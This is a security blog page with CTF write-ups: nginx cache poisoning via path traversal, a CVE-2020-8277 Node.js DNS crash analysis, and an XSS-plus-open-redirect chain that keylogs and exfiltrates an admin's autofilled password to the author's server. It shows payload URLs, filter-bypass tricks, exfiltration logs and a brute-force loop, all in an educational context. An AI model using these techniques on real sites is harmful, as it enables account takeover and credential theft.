Tuesday, April 27, 2021

S4CTF "file-upload": Poison All Things (OR Nginx Cache Poisoning)


 

So, the website is dependent on nginx, node.js with express.

Example of "/report" endpoint

One can observe the following endpoints:

  1. /login - GET

    1. In-Short: You type username - and server generates JwT token for you.

      1. Server will also save your current username connected with your

         cookie aka JwT token.

      2. If we type - “admin” as the username - the server will do 

        nothing and login fails.

    2. Ideas:

      1. Vuln in JwT token generation? - would we will be able to

         generate our own tokens? Somehow? Does it vulnerable?

      2. Vuln in json GET args validation? If we give a JSON in the GET 

        arguments instead of string - as the username - can we generate a token for 

        admin somehow? Maybe kinda due to some inconsistency? 

        Seems not because validating the type as a string.

        1. But it’s seems like its worth noting this scenario 

          where we give weird types in the arguments

          instead of wanted kinda real one.

  2. /upload - POST

    1. In-Short: Upload files to the server side.

    2. Ideas:

      1. HTML Uploading? Upload HTML file and give the link to the admin of course :)

        1. Not working as Content-Type is constant, 

          inside the “/files/” endpoint, they always return “Content-Type” 

          which is one of “.jpg”/”.js”/”.txt”/.. And not “.html”

      2. Upload file and override others? like traversal upload 

        and override some other kinda server files maybe?

        1. Nope - filename is generated by md5’ing 

          of some timestamp and the given filename as well.

  3. /report - GET

    1. In-Short: report links to admin OR show links if you’re the admin. 

      1. For the admin user - it returns list of URL’s for the admin to look over.

      2. For normal user - it returns an endpoint to upload a link 

        for the admin to review.

    2. Ideas:

      1. XSS in URL string? aka put /report " onclick=javascript:something 

         - well it doesn’t works and seems like kinda filtered.

      2. “javascript:” scheme inside reporting URL? starting point -

        yep this can kinda work - didn’t tried that though - as it seem like :)


Path-Traversal Vulnerability:

  • Inside “/files” endpoint - we can get other server files which are accessible.

  • This endpoint calls - “sendFile” function - which can be given “relative-path”.

  • They don’t santize our variables - “file”/”user” or token - so cool cool.

  • They only check that it ends with valid mime type - aka “.jpg” / “.js”

  • Because how the express.js works, 

    we can inject url-encoded strings inside the path after “/files/:file…”

  • We can end it with some 

    • Payload example:

       “/files/%2f..%2f..%2f..%2fa.html/user/token.jpg”


Nginx Configuration:

The nginx caching mechanism added, seemed like the most interesting one in here:

  1. What? They added caching for “.jpg” URL’s…

  2. How? Inside nginx configuration - directive of 

    1. location  ~* ^.(jp[e]g|png)$ { /* ADD_RETURNED_FILE_TO_CACHE } 


They used cache key as “$request_method$request_uri” variable.

So… Ideas? Can we inject into cache something secret… and then maybe kinda read it??


Where is The Flag?:

  • In-Short: shown in "/report" for the admin username only (after JwT validation).

  • So, if we have admin Cookie / JwT token somehow - we will win absolutely!!!

  • Hmmm... And what about the Nginx cache? Yes yes, If we can make the admin

     click /report and the server will cache it we are winning!

  • As node.js express endpoint works whenever the starting substring matches - 

    we can win using the following payload:

    Payload link example: /report/a.jpg


The Full-Attack:

  • Send admin a link to report page & 

    make it seems like jpg so it will be cached by nginx.

    • /report/a.jpg seemed to work

  • Query this page as another user - as nginx already cached this html page before -

    we get the previously shown /report HTML file that have been shown to the admin!!!

     

    Cached flag response :)





Wednesday, November 25, 2020

CVE-2020-8277 Analysis: From Node.JS code to OOB Reads/Fail-Check

Attack scenario

The attack scenario is quite simple. If Node.js (<15.2.1,<14.15.1,<12.19.1) invokes one of the wonderful functions in the "dns" core library with a user-controlled name.

When DNS request is invoked in Node.JS (i.e: "dns.resolve4/6/Any" are called) an attacker crafts a DNS response with several DNS records (several > 256).

Node.Js will crash upon parsing the response. 
For example, my PoC (uses "AAAA" records in the reply):

Cool exploitation scenarios

  • If the response contains "AAAA" records -> it will trigger assertion failure, before OOB read at cares_wrap.cc:1256. This is exactly what we've got at the PoC, source-code here:
  

  • If the response contains "A" records -> it will give an OOB read of the TTL records, as shown in cares_wrap.cc:756. it will then place back the resulting TTL's with that leak back to the caller function, one can observer it here:


Why it happens?

In short, the problem is actually with the c-ares library, which executes the async DNS requests and parse responses. when parsing DNS responses, some parsers compute, incorrectly, the length of the returned array of TTL values. This leads to incorrect size in the function output, i.e: the "naddrttls" value is incorrect. this will trigger the CHECK seen before. 

Intro to c-ares library

For example take the function "ares_parse_aaaa_reply". This function is responsible for parsing the AAAA replies when getting DNS response in c-ares:

This function gets char* abuffer - that contains the response to parse, alen - the response length, host - a ptr to struct to return with dns answer, addrttls / naddrttls - that contains the TTL's array (for the returned addresses, how much time till they expired) and length of this array correspondingly.

Now, note that addrttls - is actually a pointer to array that should be filled with the returned addresses TTL's.
Also note that naddrttls - is actually also a pointer that is both input and output, at start, it contains the maximal values of TTL's to return. 

So, what's the problem? what happens if the number of replies in the response is bigger than the array we can consume of addrttls. specifically: the addrttls (the TTLs array of the response packet) is bigger than the input addrttls?

Great question indeed, Regarding addrttls, it is actually truncated in some manner. "naddrttls" is being checked and our function doesn't overwrite "addrttls". So, the response is "truncated" - and only the first 256 TTL's will be considered and returned.
 
But, wait, how about naddrttls (which counts how many values was written)? 
They incorrectly count only the number of replies in the response and not the number of TTL's actually being written...  

The c-ares problem: step-by-step

1. First time counting naddrs (doesn't consider naddrttls given):


2. Writing the real TTL's back to the array (the addrttls, truncated according the naddrttls given):



3. Writing the naddrttls back - placing incorrectly just "naddrs" without checking if it's value was larger than what was really put there.



so, it means the returned naddrttls will be bigger than the real number of replies TTL's that have been written.

To fix it, they've just truncate the naddrs to the maximal size available in the response array. you can see it here in the fixed source-code:

From Node.JS code to OOB Read/Fail-Check

The flow in server side starts after getting DNS response, with one of the "Parse" functions according to the dns request made with the dns library.

For example, "dns.resolve4" in Node.js will trigger the parser function named "QueryAWrap::Parse" with the DNS-server reply. The parsing functions are in: /src/cares_wrap.cc in the node-js sources.

Some flow for example:
Parse->ParseGeneralReply->ares_parse_aaaa_reply(...).

Conclusion & Future ideas

CVE-2020-8277 poses a great threat to web-servers deployed over Node.Js with versions < 15.2.1, < 14.15.1, and < 12.19.1. It can cause an easy DOS where user deploys its own DNS servers/responding with arbitrary DNS responses. 

Also, in some rare cases, one can think about malicious ways to leak arbitrary heap data. 
That's because the TTL will be dependant on that data with respect to A records, so triggering this vuln with A records and observing the timeouts in which the server yields another DNS request might give attacker ability to predict some heaps vals / characteristics as well. cool cool :)

Tuesday, April 14, 2020

SFR || SanitizedXSS & 1PasswordManager // HexionCTF


SFR // HexionCTF
We get some webapp.


 we try to login with user=”aasd” and “password” – and we’re in! Aren’t we?
.
That’s cool, so we get to send to the admin some url and he’ll probably enters it, right?
Well… Yes, if we put our ip we get some response (opening up my own AWS instance with some small python server listener gave this result):
34.76.228.102 - - [12/Apr/2020 01:34:02] "GET / HTTP/1.1" 404 –
Sweet. What’s next?

The hint says that: 
1. The password is after login.
2. The admin have password manager installed.
Trying to login with “admin”/”admin” just for test gave us this result: “Invalid Credentials” – cool so it means we want to get it’s password right (also they say in the challenge the password waits for us there).

Vulnerabilities
1. Open-Redirection:When you login you see this:
b.       Oh, cool, so what can be next would you ask?
c.       First, any site can be here
d.       http://34.76.228.102:2003/login?next=<YOUR_IP>
                                                               i.      E.g – awesome open redirection vuln.
                                                             ii.      But, what it does with this IP?
                                                           iii.      Yes, you guessed correctly, this will be placed in the form action area.
So, the first vulnerability open-redirection looks like this code-wise:
            <form method="post" action=OUR_NEXT_GET_PARAM>
                <input name="username" id="sfrusername" type="text" placeholder="Username"/>
                <br>
                <input name="password" id="sfrpassword" type="password" placeholder="Password" />
                <br>
                <button class="good" type="submit">Login</button>
            </form>
2          2. XSS: Well, not just that of-course, as it can lead us also to xss vuln code:
At first, I was trying to place in there “/> <script>alert(1)</script>” – but got no response / response sanitize, so there is probably a sanitation, right? … well not quite exactly.
Well placing this (http://CHALL_SITE/login?next=http://www.barakolo.me%20onclick=alert``) will get us:
            <form method="post" action=http://www.barakolo.me onclick=alert``>
                <input name="username" id="sfrusername" type="text" placeholder="Username"/>
                <br>
                <input name="password" id="sfrpassword" type="password" placeholder="Password" />
                <br>
                <button class="good" type="submit">Login</button>
            </form>
This will actually add event handler that can do arbitrary Js in this site! Cool! (no csp whatsoever, nice nice nice).
This will actually pop-up a message when we click on login button – cool.
We placed `` to bypass the checks for () which aren’t allowed in this scenario.
Nice, So what now? Let’s see if we get some response admin enters this site when we will sent to him this xss.
Well, unfortunately it didn’t work, why?
Well probably mouse isn’t used there at all, so how can after all trigger js code?
Triggering JS at load:
I started to put any onX event handlers to see what gave me a response.
Keep also in mind we need to place a valid param (no () and other chars like >< are sanitized as well)
I have put this:
This WORKED! We got some response back to us, nice.
Now , finding minimal exploit that sends back info to our server, was a game of like trying this:
and also this right after
And trying this also worked so
Cool, so wait wait – then it probably means that user entering keyboard events? Does it?
All the password-manager:
In the next step according to the challenge description – the admin has password manager, oh cool cool – so the user enters its password there right? Sounds interesting.
In this stage I thought about this scenario:
If the password manager (we don’t know which password manager it is) supports auto-fill and auto-login kinda ways maybe we can trigger it – and make the user send to us user and password!! Why? Because this is exactly the form action so if we can trigger it to fill and submit we are winning, right?
Trying this:
1.       Send some js that sets autocomplete attrs to correct for username and password might also click the submit button when finish filling, right?
So this was the next thing I tried, which sets autocomplete attributes & and in the end you can see also that I added some xhr request-  why? To sniff some of the keyboard keys to get back to us probably 😊
Cool, But it didn’t worked unfortunately, the message didn’t submitted and we didn’t got any POST message in our web-server.
What’s next?
Yes you guessed that right – let’s try hook the keyboard messages to see what’s in there.

Couple of challenges here:
1.       Write arbitrary js code – many things are sanitized (“<>()” and ” is kinda part of termination for this eventhandler), request line limited by 4094 (we actually get this number as a response if we will put big enough number). So not any arbitrary code can be written this way.
2.       I found that we probably don’t really get all xhr requests we’re doing / keyboard-messages – why? Maybe because the user closes really fast it’s browser? Maybe the user have delayed connection and up/down from internet connection? We can’t really know – what we do know that according to this we kinda want our js code to sniff what it can from the password manager kinda and close fast.
3.       Some XHR requests came to my server un-ordered which made it a bit difficult to assume which letter came before the other (it can also be by the server / connection / the way maybe AWS handles new tcp connections that come to the server and many many kinda more, my focus isn’t to improve AWS so I thought to make it a little better).

Solution for arbitrary JS:
eval is ok (and also great) to do 😊 sooo – let’s utilize some cool unicode encoding:
eval(‘ANY ARBITRARY JSCODE WITH UNICODE ENCODING LIKE \uXXXX’) … but wait? Didn’t we say () isn’t allowed? Yes you’re pretty right.
But this works as well eval`document.cookie=1` - it’s actually cool thing called template literals in js.
Nice, But eventually – remember, I wanted to hook some event listener into keypress events or something like that, how?
Usually its done like this: e.addEventListener(function(e) {I am here}); - but here we CANNOT replace the () as it’s not template literal. Bummer. So what can we do?
Let’s just define it!
Function`UNICODE-ENCODING-JS-CODE` - cool! It works.
I used this method to define arbitrary js code which runs whenever user clicks our site. It looks like this:

Writing JS-Keylogger:
Let’s try to keylog anything user enters and get the password right? Well well, hell yeah 😊
I next tried to put function(e) {fetch(‘MY_SITE’ + e.keyCode)} – anf got the cool word!! “admin”!!! yes so it probably autofills stuff for an admin, right?
Let’s try to get the password – I tried to change the input form which my event listener was hooked on but to my surprise. I was getting a lot of message, weird keyboard pressed with many values – so maybe, I think, I thought it was password-manager (probably an extension?) trying to auto-fill forms and stuff to setup other data relevant to him.
When unexpcted thing occurred when I’ve observed – user had more input elements – than I did in my screen. So I tried to capture many of these but got many non-relevant probably data, for example like this:
GET /112/0 HTTP/1.1
34.76.228.102 - - [13/Apr/2020 11:31:49] code 404, message File not found
34.76.228.102 - - [13/Apr/2020 11:31:49] "GET /112/0 HTTP/1.1" 404 -
GET /67/1 HTTP/1.1
34.76.228.102 - - [13/Apr/2020 11:31:49] code 404, message File not found
34.76.228.102 - - [13/Apr/2020 11:31:49] "GET /67/1 HTTP/1.1" 404 -
GET /51/2 HTTP/1.1
….
The number after it – means the order they where captured to tryina maintain some order, unfortunately it stull seemed to be a little unordered when it reached our servers and mainly we wasn’t really sure what was the correct input form was.

Just Posting Back to-us:
Wait, but this fills a login string with open-redirection – then why not post it back to us?
What do you mean? Let’s place action=OUR_SITE, when form is submitted the current user/password filled is the correct relevant password, right? COOL!
Doing this and placing this string got me that kinda cool thing:
One of the requests where:
('POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n', '/', 'Host: 54.175.112.255\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 39\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\n', 'username=admin&password=j6QlMyx4lf2bSZp')
Oh yesss!!! So the password is j6QlMyx4lf2bSZp right? Well not quite yet..
Remember, we do submit in some time after we seen enough keyboard presses and just before we can do submit anymore kinda (probably because the window is gonna be closed after some time/scenario).
So, we wait for the last letter entered in some input and call submit, does it mean all the password was managed to be written? Well, unfortunately – really really not sure 😊
I tried this couple of times and put this password and it wasn’t working… but..

Famous Last words:
We probably got *almost* all the password, why? Well, remember that what we did was to wait for some keyboard messages to stop (I've counted how many messages I've seen maximal in the server side and set to submit the for when this number is reached), so maybe also the user exits sometimes *before* all the password gets written.
So, one way is to assume letter or two are missing in the end, let’s try that then, so for our game I have tried running this:
for i in string.printable:
               res = (s.post('http://34.76.228.102:2003/login',
data={'username': 'admin', 'password': 'j6QlMyx4lf2bSZp' + i}).text)
                if 'Invalid' not in res:
     print(res)

Amazing, so we finally got this as response:
hexCTF{pa55w0rd_m4nag3rs_c4n_hav3_vuln3rabilit1es_t00}

Cool, been there, done that 😊



Hitcon 2021' CTF - Vulpixelize

Vulpixelize Writeup In this challenge – we are given docker webserver with the following files: 1.       Dockerfile 2.       Simple Flask we...